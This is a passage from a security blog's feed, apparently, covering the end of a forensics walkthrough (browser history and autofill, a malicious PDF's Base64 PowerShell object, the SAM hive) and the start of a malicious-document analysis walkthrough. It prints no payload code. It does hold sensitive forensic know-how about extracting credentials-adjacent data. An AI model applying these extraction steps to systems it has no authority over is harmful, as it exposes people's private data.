&lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with the &lt;em&gt;Downloads&lt;/em&gt; and &lt;em&gt;Downloads_URL_Chains&lt;/em&gt; tables to see what we find? Unfortunately, these come up empty so let&amp;rsquo;s pivot and just try to explore the victim&amp;rsquo;s browsing history.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll select the &lt;strong&gt;URLs&lt;/strong&gt; table and browse through the URL history. After reviewing the entries, we start to piece together the victim&amp;rsquo;s browsing history and then, we stumble across this entry:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/6f4438429a5eb2f469b2f80a4625cec2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like we located the domain of the &lt;em&gt;Application.pdf&lt;/em&gt; file we found earlier — nice work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/4296e35cecebfe37262f3bb15dad6560_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-email-address-of-thevictim&#34;&gt;Question 3: What is the email address of the victim?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s stick with &lt;em&gt;DB Browser (SQLite)&lt;/em&gt; &lt;strong&gt;a&lt;/strong&gt;nd continue searching for data in the &lt;em&gt;Microsoft Edge&lt;/em&gt; browser databases. Let&amp;rsquo;s think about where the victim&amp;rsquo;s email address might be stored — maybe they saved it as an &lt;em&gt;autofill&lt;/em&gt; item in the browser to save time during their job search?&lt;/p&gt;&#xA;&lt;p&gt;If we go back to our &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Foxtron Forensics&lt;/a&gt; reference and search for &lt;em&gt;autofill&lt;/em&gt; we find the following information:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Form History is stored in the €˜&lt;strong&gt;Web Data&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;autofill&lt;/strong&gt;&amp;rsquo; table. Older versions of Chrome stored associated dates within an €˜&lt;strong&gt;autofill_dates&lt;/strong&gt;&amp;rsquo; table.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we check it out? We&amp;rsquo;ll go ahead and open the &lt;strong&gt;Web Data&lt;/strong&gt; database and browse the &lt;em&gt;autofill&lt;/em&gt; table&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/f230117acadbd79ced01ecede74adffb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! I think we found the answer to &lt;strong&gt;Question 3.&lt;/strong&gt; Let&amp;rsquo;s submit it and move on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/12ba324126a4be93709193e396cbd3f0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-command-that-is-executed-by-the-malicious-document&#34;&gt;Question 4: What is the command that is executed by the malicious document?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, now we get to pivot and try some static analysis!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try another tool available in our analysis environment — &lt;a class=&#34;link&#34; href=&#34;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;PDFStreamDumper&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; This tool should let us perform some static analysis of object streams within a PDF file and see if there is anything malicious.&lt;/p&gt;&#xA;&lt;p&gt;This is my first time using this tool but according to the developer&amp;rsquo;s page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is a free tool for the analysis of malicious PDF documents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Has specialized tools for dealing with obfuscated JavaScript, low level pdf headers and objects, and shellcode.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;First things first — Remember the &lt;em&gt;Application.pdf&lt;/em&gt; we found back in &lt;strong&gt;Question 1?&lt;/strong&gt; We&amp;rsquo;re going to go back into &lt;em&gt;FTK Imager&lt;/em&gt;, navigate to the file path from &lt;strong&gt;Question 1&lt;/strong&gt;, and right-click on the file and the export.&lt;/p&gt;&#xA;&lt;p&gt;Once we have completed the export, we&amp;rsquo;ll open &lt;em&gt;PDFStreamDumper&lt;/em&gt; from the &lt;em&gt;Tools&lt;/em&gt; folder, load the &lt;em&gt;Application.pdf&lt;/em&gt; file into &lt;em&gt;PDFStreamDumper.&lt;/em&gt; When the loading is completed, we can check the output and start to analyze the objects contained in the file!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/36e6c14c88bc6793a078184d4a9edffe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the left side column, we see that the tool has parsed 6 objects within the PDF file. Let&amp;rsquo;s analyze the objects one-by-one and see if we can find anything suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Something in object 5 sticks out, doesn&amp;rsquo;t it? Immediately, we can see that there is quite a bit of code in this object compared to the others. But more importantly, there also appears to be a &lt;em&gt;Base64 encoded&lt;/em&gt; &lt;em&gt;PowerShell&lt;/em&gt; command stored here as well — this should answer &lt;strong&gt;Question 4!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/7bec3dc1614a2066344bdc3c2a337df3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/a9d081197f831a27a059360a0e558c98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;side-quest&#34;&gt;&lt;strong&gt;Side Quest:&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;While out of scope for this challenge, it might be fun to jump into something like &lt;em&gt;CyberChef&lt;/em&gt; to decode the &lt;em&gt;PowerShell&lt;/em&gt; command we found stored in the object. This will help us to better understand the impact of the &lt;em&gt;User Execution (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; T1204.002&lt;/a&gt;) on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the &lt;em&gt;PowerShell&lt;/em&gt; script creates a stored &lt;em&gt;Environmental Variable&lt;/em&gt; with a string message from the threat actor. Again, not relevant for this challenge but it would be something to explore in a real-world analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;306px&#34; data-flex-grow=&#34;127&#34; height=&#34;627&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/2fe2d6f8f30015e6b9e17bea3e65200e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-seems-the-pc-username-changed-to-another-one-can-you-identify-the-new-username&#34;&gt;Question 5: Seems the PC username changed to another one. Can you identify the new Username?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! In this question we are looking for the &lt;em&gt;username&lt;/em&gt; that changed. To answer this question, we need to first understand where &lt;em&gt;username&lt;/em&gt; values are stored and if we can extract that from a forensic disk image, right?&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pull back a bit and recap: In &lt;strong&gt;Question 1&lt;/strong&gt; we explored the &lt;em&gt;Users&lt;/em&gt; folder where the home folders for each user on the system is stored. Based on our evidence, the victim was using the profile named &lt;strong&gt;Work.&lt;/strong&gt; Now we need to locate another location that contains user account information to see what has changed.&lt;/p&gt;&#xA;&lt;p&gt;Where could we find this information though? Well, according to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; we could check th_e Security Account Manager (SAM) Database_:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The Security Accounts Manager (SAM) is a database that stores local user accounts and groups.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go back into &lt;em&gt;FTK Imager&lt;/em&gt; and see if we can extract the &lt;em&gt;SAM Database&lt;/em&gt; from the image. In &lt;em&gt;FTK&lt;/em&gt; navigate within the &lt;em&gt;Evidence Tree&lt;/em&gt; to (&lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]/Windows/System32/config/)&lt;/em&gt; and select the &lt;em&gt;SAM&lt;/em&gt; file. We&amp;rsquo;ll do the same process to export this file to our evidence folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/1249f9934873de9a6f28a1b5be322f19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating and exporting the SAM database from FTK Imager&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the &lt;em&gt;SAM Database&lt;/em&gt; extracted_,_ let&amp;rsquo;s load with another analysis tool &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;em&gt;Registry Explorer&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we expand the keys within the &lt;em&gt;SAM&lt;/em&gt; hive down to &lt;em&gt;Names,&lt;/em&gt; we can see all the local usernames on the system. All the &lt;em&gt;Names&lt;/em&gt; listed are default &lt;em&gt;Windows&lt;/em&gt; usernames except one of them — Since we know the user account was called &lt;strong&gt;Work&lt;/strong&gt;, and we no longer see that in the database, I think we found the answer to &lt;strong&gt;Question 5!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/96ed368da502bb47c5b0fade1894965a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exploring the SAM Database in Registry Explorer&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/60708b53d4ede6001967e02446ae99cd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great work on the investigation, and thank you for joining me on this learning journey!&lt;/p&gt;&#xA;&lt;p&gt;A special thanks to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend.io&lt;/strong&gt;&lt;/a&gt; for presenting yet another engaging challenge. This challenge was not only enjoyable but also served as an excellent primer on various forensic tools such as &lt;em&gt;FTK Imager, DB Browser, PDF Stream Dumper, and Registry Explorer&lt;/em&gt;. It provided us with a practical context to understand how we, as defenders, can quickly analyze browser artifacts, malicious PDF files, and the Windows Registry.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FTK Imager:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.exterro.com/digital-forensics-software/ftk-imager&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Forensics:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DB Browser for SQLite:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlitebrowser.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlitebrowser.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PDF Stream Dumper:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (User Execution: Malicious File):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1204&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn SAM Database Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Registry Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders —  MalDoc101 Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 17 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/e59465769c656bcf83892732c6f30e02_MD5.jpg&#34; alt=&#34;Featured image of post CyberDefenders —  MalDoc101 Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefendersorg--maldoc101-blue-team-lab-walkthrough&#34;&gt;CyberDefenders.org — MalDoc101 Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-a-malicious-document-with-remnux-oledump-andolevba&#34;&gt;Analyzing a Malicious Document with REMnux, OLEDUMP, and OLEVBA.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/e59465769c656bcf83892732c6f30e02_MD5.jpg&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this walkthrough! This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MalDoc101&lt;/strong&gt;&lt;/a&gt; blue team challenge over on &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;. This challenge should be a great opportunity to expand my static analysis skills for malicious documents and learn some cool new tools for my workflow! A recommended tool for this challenge is &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnu&lt;/em&gt;&lt;/a&gt;x — If you are unfamiliar, &lt;em&gt;REMnux&lt;/em&gt; is a &lt;em&gt;Linux&lt;/em&gt; distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as a learning notebook for me and a &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; challenge walkthrough for anyone else who stumbles upon this post. In the spirit of learning, I&amp;rsquo;m not going to reveal the answers to the challenges so I encourage you to follow along or use this walkthrough as a reference if you get stuck.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a security blue team analyst, analyze the artifacts and answer the questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Suggested Tools:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;REMnux Virtual Machine (remnux.org)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Terminal/Command prompt w/ Python installed&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/oledump-py/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Oledump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Text editor&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;885px&#34; data-flex-grow=&#34;369&#34; height=&#34;213&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/3af82fd9f6e5190c7b5eb3fe2aa0ad05_MD5.png&#34; width=&#34;786&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image credit: CyberDefenders.org&lt;/p&gt;&#xA;&lt;p&gt;First thing&amp;rsquo;s first — It&amp;rsquo;s always a good idea to heed the warning when downloading the lab/challenge files from &lt;em&gt;CyberDefenders (or any lab/challenge/range)&lt;/em&gt; and keep yourself safe by performing these tasks in a dedicated, isolated virtual machine like &lt;em&gt;REMnux —&lt;/em&gt; Safety first!&lt;/p&gt;&#xA;&lt;p&gt;Second, I want to make a note that I&amp;rsquo;ll be referencing the excellent &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; Documentation regularly in this post. This is a great resource to discover the tools available within the environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Third, to keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to setup your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2704px&#34; data-flex-grow=&#34;1126&#34; height=&#34;71&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-maldoc101-blue-team-lab-walkthrough/58ac8093a47d36faed344e1cca1df415_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-multiple-streams-contain-macros-in-this-document-provide-the-number-of-highestone&#34;&gt;Question 1: Multiple streams contain macros in this document. Provide the number of highest one.&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ll start by checking out the &lt;em&gt;REMnux&lt;/em&gt; documentation and see what &lt;em&gt;Microsoft Office&lt;/em&gt; specific analysis tools are available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/analyze&amp;#43;documents/microsoft&amp;#43;office&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/discover-the-tools/analyze+documents/pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are quite a few tools we can use but before we dive in, let&amp;rsquo;s pull back a little. I want to point to an awesome quick reference poster that can help provide us some context, the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Analyzing Malicious Documents&lt;/a&gt; cheat sheet. This incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents. Since I&amp;rsquo;m a novice with this type of malware analysis any reference or starting point will help to keep me from stumbling too much!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s focus first on a suggested tool from the challenge scenario and also referenced in the &lt;em&gt;SANS&lt;/em&gt; cheat sheet — &lt;em&gt;oledump&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;em&gt;SANS sheet:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Binary Microsoft Office document files (.doc, .xls, etc.) use the OLE2 (a.k.a. Structured Storage) format.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;I have to give myself a little refresher on the structure of OLE documents for this so we&amp;rsquo;ll turn to the &lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub&lt;/a&gt; page of Philippe Lagadec (decalage2), whose &lt;em&gt;oletools&lt;/em&gt; we will use later for this challenge:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;[An OLE file can be seen as a mini file system or a Zip archive: It contains &lt;strong&gt;streams&lt;/strong&gt; of data that look like files embedded within the OLE file. Each stream has a name. For example, the main stream of a MS Word document containing its text is named &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;WordDocument&amp;quot;&#xA;.](&lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2/olefile/blob/master/doc/OLE_Overview.rst&#34;  